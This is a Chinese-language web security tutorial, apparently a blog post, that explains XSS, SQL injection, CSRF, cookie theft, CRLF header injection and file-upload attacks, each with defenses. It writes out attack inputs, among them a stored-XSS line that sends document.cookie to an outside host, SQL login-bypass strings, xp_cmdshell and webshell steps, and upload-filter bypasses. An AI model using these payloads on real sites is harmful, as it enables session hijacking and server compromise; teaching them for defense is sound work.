一个网站建立以后,如果不注意安全方面的问题,很容易被人攻击,下面就讨论一下几种常见的漏洞的简介与原理分析
一.跨站脚本攻击(xss)
恶意攻击者通过往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。下面我们来分析一下xss的特点:
1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、对website有http-only、crossdomian.xml没有用
但是这些并没有影响黑客对此漏洞的偏爱,原因不需要多,只需要一个。
Xss几乎每个网站都存在,google、baidu、360等都存在。
下面来看一个例子:
- <span style="font-size:14px;"><html>
- <head>
- <meta http-equiv="Content-Type" content="text/html;charset="utf-8">
- <title>xss原理重现</title>
- </head>
- <body>
- <center>
- <h6>把我们输入的字符串 输出到input里的value属性里</h6>
- <form action="" method="POST">
- <h6>请输入你想显现的字符串</h6>
- <input type="text" name="xss_input" value="输入"><br>
- <input type="submit">
- </form>
- <hr>
- <?php
- header("Content-Type:text/html;charset=utf-8");
- $xss=$_POST['xss_input'];
- if(isset($xss)){
- echo '<input type="text" value="'.$xss.'">';
- }else{
- echo '<input type="type" value="输出">';
- }
- ?>
- </center>
- </body>
- </html></span>
分析这一段的代码,前面的">是为了闭合前面的input,这个输入就可以使弹窗出现
我们也可以通过输入 " οnclick="alert('xss')
因为onclick是鼠标点击事件,也就是说当你的鼠标点击第二个input输入框的时候,
就会触发onclick事件,然后执行
Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等。
比如我们在网站的留言区输入下面的代码:<script src="js_url"></script>
当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了
那假如说网站禁止过滤了script 这时该怎么办呢,记住一句话,这是我总结出来的“xss就是在页面执行你想要的js”不用管那么多,只要能运行我们的js就OK,比如用img标签或者a标签。我们可以这样写
<img src=1 οnerrοr=alert('xss')>当找不到图片名为1的文件时,执行alert('xss')
<a href=javascrip:alert('xss')>s</a> 点击s时运行alert('xss')
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的src来弹窗
下面是XSS攻击方法:
Stored XSS
Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。
场景二:
a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,
<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。
这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,
他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。
Stored XSS漏洞危害性更大,危害面更广。
XSS防御方法:
完善的过滤体系
永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。
Html encode
假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。
less-than character (<) <
greater-than character (>) >
ampersand character (&) &
double-quote character (") "
space character( )
Any ASCII code character whose code is greater-than or equal to 0x80 &#<number>, where <number> is the ASCII character value.
比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:
<script>window.location.href="http://www.baidu.com"</script>在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。
其它
下面提供两种Html encode的方法。
1.使用Apache的commons-lang.jar
StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码,空格不转换
2.自己实现转换,只转换部分字符
二.SQL注入(sql injection)
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
先举个例子,你要登录一个网站,上面让你输入用户名字和密码。那么,假如你输入的用户名是 admin ,但是你不知道密码,你就输入了一个 1' OR '1' = '1 ,那么,你就提交了两个参数给服务器。假如,服务器拿这两个参数拼SQL语句:SELECT T.* FROM XXX_TABLE TWHERE T.USER_ID = '/*param1*/'AND T.PASSWORD = '/*param2*/'
那么,你提交的两个参数就使SQL文变成了:SELECT T.* FROM XXX_TABLE TWHERE T.USER_ID = 'admin'AND T.PASSWORD = '1' OR '1' = '1'
那么,这个SQL原来的校验功能就被你绕过去了,你的这种行为就称之为SQL注入
为了成功注入SQL命令,攻击者必须将开发者现有的sql命令转化成合法的sql语句,当然,要盲注总是有难度的,但一般都是
'OR1=1–
或者
')OR1=1--
总结一下SQL注入的思路
1. SQL注入漏洞的判断,即寻找注入点
2. 判断后台数据库类型
3. 确定XP_CMDSHELL可执行情况;若当前连接数据的帐号具有SA权限,
且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过几种方法完全控制,也就完成了整个注入过程
否则继续:
1. 发现WEB虚拟目录
2. 上传ASP木马;
3. 得到管理员权限
对SQL注入的防御方法:
1.使用参数化的过滤性语句
2.避免出现详细的错误信息
3.使用专业的漏洞扫描工具
4.避免使用解释程序
5.企业要web应用程序开发过程的所有阶段实施代码的安全检查
三.跨站请求攻击(CSRF)
尽管听起来像跨站脚本( XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
简单来说就是,攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。
下图简单阐述了CSRF的原理
几种类型的CSRF
1.GET类型的CSRF
<img src=http://wooyun.org/csrf.php?xx=11 />在访问含有这个img的页面后,成功向http://wooyun.org/csrf.php?xx=11发出了一次HTTP请求。所以,如果将该网址替换为存在GET型CSRF的地址,就能完成攻击了
2.POST类型的CSRF
<form action=http://wooyun.org/csrf.php method=POST> <input type="text" name="xx" value="11" /> </form> <script> document.forms[0].submit(); </script>访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作
CSRF的防御
CSRF的防御可以从服务端和客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的CSRF防御也都在服务端进行。
1.服务端进行CSRF防御服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数。
(1).Cookie Hashing(所有表单都包含同一个伪随机值):
这可能是最简单的解决方案了,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败了
- <span style="font-size:14px;"><?php
- //构造加密的Cookie信息
- $value = “DefenseSCRF”;
- setcookie(”cookie”, $value, time()+3600);
- ?></span>
在表单里增加Hash值,以认证这确实是用户发送的请求。
- <span style="font-size:14px;"> <?php
- $hash = md5($_COOKIE['cookie']);
- ?>
- <form method=”POST” action=”transfer.php”>
- <input type=”text” name=”toBankId”>
- <input type=”text” name=”money”>
- <input type=”hidden” name=”hash” value=”<?=$hash;?>”>
- <input type=”submit” name=”submit” value=”Submit”>
- </form></span>
然后在服务器端进行Hash值验证
- <span style="font-size:14px;"> <?php
- if(isset($_POST['check'])) {
- $hash = md5($_COOKIE['cookie']);
- if($_POST['check'] == $hash) {
- doJob();
- } else {
- //...
- }
- } else {
- //...
- }
- ?></span>
四.COOKIE攻击
通过Java Script非常容易访问到当前网站的cookie。你可以打开任何网站,然后在浏览器地址栏中输 入:javascript:alert(doucment.cookie),立刻就可以看到当前站点的cookie(如果有的话)。攻击者可以利用这个特性来取得你的关键信息。例如,和XSS攻击相配合,攻击者在你的浏览器上执行特定的Java Script脚本,取得你的cookie。假设这个网站仅依赖cookie来验证用户身份,那么攻击者就可以假冒你的身份来做一些事情。
现在多数浏览器都支持在cookie上打上HttpOnly的标记,凡有这个标志的cookie就无法通过Java Script来取得,如果能在关键cookie上打上这个标记,就会大大增强cookie的安全性
以下是获取Cookie信息的主要途径:
1. 直接读取磁盘的Cookie文件,Windows系统的Cookie信息存放目录是C:/Documents and Settings/%yourname%/Cookies,FireFox的Cookie信息是在FireFox的Profiles目录中。
2. 使用网络嗅探器来获取网络上船速的Cookie
3. 使用一些Cookie管理工具获取内存或者文件系统中的cookie
4. 使用跨站脚本来盗取别人的cookie
假如我们成功获取了cookie信息,那下一步理所当然地就是要进行攻击了,常用的攻击步骤有:
1. 查看Cookie信息,对Cookie信息进行分析
2. 修改Cookie中的逻辑判断类信息,比如一些boolean标志,01标志等等,访问服务器,观察服务器的反应。
3. 修改Cookie信息中数字类型的信息,比如id, number等等这类的值,观察服务器反应。
4. 获取别人的Cookie信息,然后根据别人的Cookie信息修改自己本地的Cookie信息,看服务器是否会把自己识别为其他人。
那我们应该如何防范利用Cookie进行的攻击呢?
1. 不要在Cookie中保存敏感信息
2. 不要在Cookie中保存没有经过加密的或者容易被解密的敏感信息
3. 对从客户端取得的Cookie信息进行严格校验
4. 记录非法的Cookie信息进行分析,并根据这些信息对系统进行改进。
5. 使用SSL/TLS来传递Cookie信息
五.HTTP Heads攻击
凡是用浏览器查看任何WEB网站,无论你的WEB网站采用何种技术和框架,都用到了HTTP协议.HTTP协议在Response header和content之间,有一个空行,即两组CRLF(0x0D 0A)字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到headers中,这种攻击就可以发生
以登陆为例:有这样一个url:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex
当登录成功以后,需要重定向回page参数所指定的页面。下面是重定向发生时的response headers.
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/index
假如把URL修改一下,变成这个样子:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E
那么重定向发生时的reponse会变成下面的样子:
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/checkout<CRLF>
<CRLF>
<script>alert('hello')</script>
这个页面可能会意外地执行隐藏在URL中的javascript。类似的情况不仅发生在重定向(Location header)上,也有可能发生在其它headers中,如Set-Cookie header。这种攻击如果成功的话,可以做很多事,例如:执行脚本、设置额外的cookie(<CRLF>Set-Cookie: evil=value)等。
避免这种攻击的方法,就是过滤所有的response headers,除去header中出现的非法字符,尤其是CRLF
六.上传文件攻击
文件上传漏洞就是对用户上传的文件类型判断不完善,导致攻击者上传非法类型的文件,从而对网站进行攻击。比如可
传一个网页木马,如果存放文件的目录刚好有执行脚本的权限,那么攻击者就可以得到一个webshell。
攻击者要想成功实施文件上传攻击,必须要满足以下三个条件:
1.可以上传任意脚本文件,且上传的文件能够被Web服务器解析执行,具体来说就是存放上传文件的目录要有执行脚本的权限。
2.用户能够通过Web访问这个文件。如果文件上传后,不能通过Web访问,那么也不能成功实施攻击。
3.要知道文件上传到服务器后的存放路径和文件名称,因为许多Web应用都会修改上传文件的文件名称,那么这时就需要结合其他漏洞去获取到这些信息。如果不知道上传文件的存放路径和文件名称,即使你上传了也无法访问。
主流文件上传检测方式概述
主流的文件上传检测方式有以下五种:
1.客户端javascript检测
客户端检测通常在上传页面里含有专门检测文件上传的javascript代码,在文件被上传之前进行检测,最常见的就是检测上传文件的文件类型和大小是否合法。
2.服务端MIME类型检测
这类检测方法通过检查http包的Content-Type字段中的值来判断上传文件是否合法。
3.服务端文件扩展名检测
这类检测方法通过在服务端检测上传文件的扩展名来判断文件是否合法。
4.服务端目录路径检测
这类检测一般通过检测路径是否合法来判断。
5.服务端文件内容检测
而要怎样才能绕过这些检测方法呢?
1.绕过客户端javascript检测
这种检测方法是最不安全的,也是最容易被攻击者绕过的。Web应用不应只采用这一种手段检测上传文件,但可以作为一种辅助手段。因为采用客户端javascript检测可以增强应用对用户的友好度。由于javascript检测是在客户端实现的,所以我们完全能够控制它。可以在浏览器端禁用js脚本,比如在FireFox上安装FireBug这一插件就可以实现这一功能。另外一种是通过代理工具来实现,下面介绍利用Burp Suite来绕过客户端javascript检测。Burp Suite不仅仅只是一个代理工具,更是一款强大的网络渗透利器。
那么如何设计出一个安全的文件上传功能呢?下面我们就来总结一下。
1.设置保存上传文件的目录为不可执行
只要Web服务器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,此点至关重要。
2.判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈建议采用白名单的方式。此外,对于图片的处理可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的恶意代码。
3.使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果采用随机数改写了文件名和路径,将极大地增加攻击成本。与此同时,像webshell.asp;1.jpg这种文件,将因为文件名被改写而无法成功实施攻击。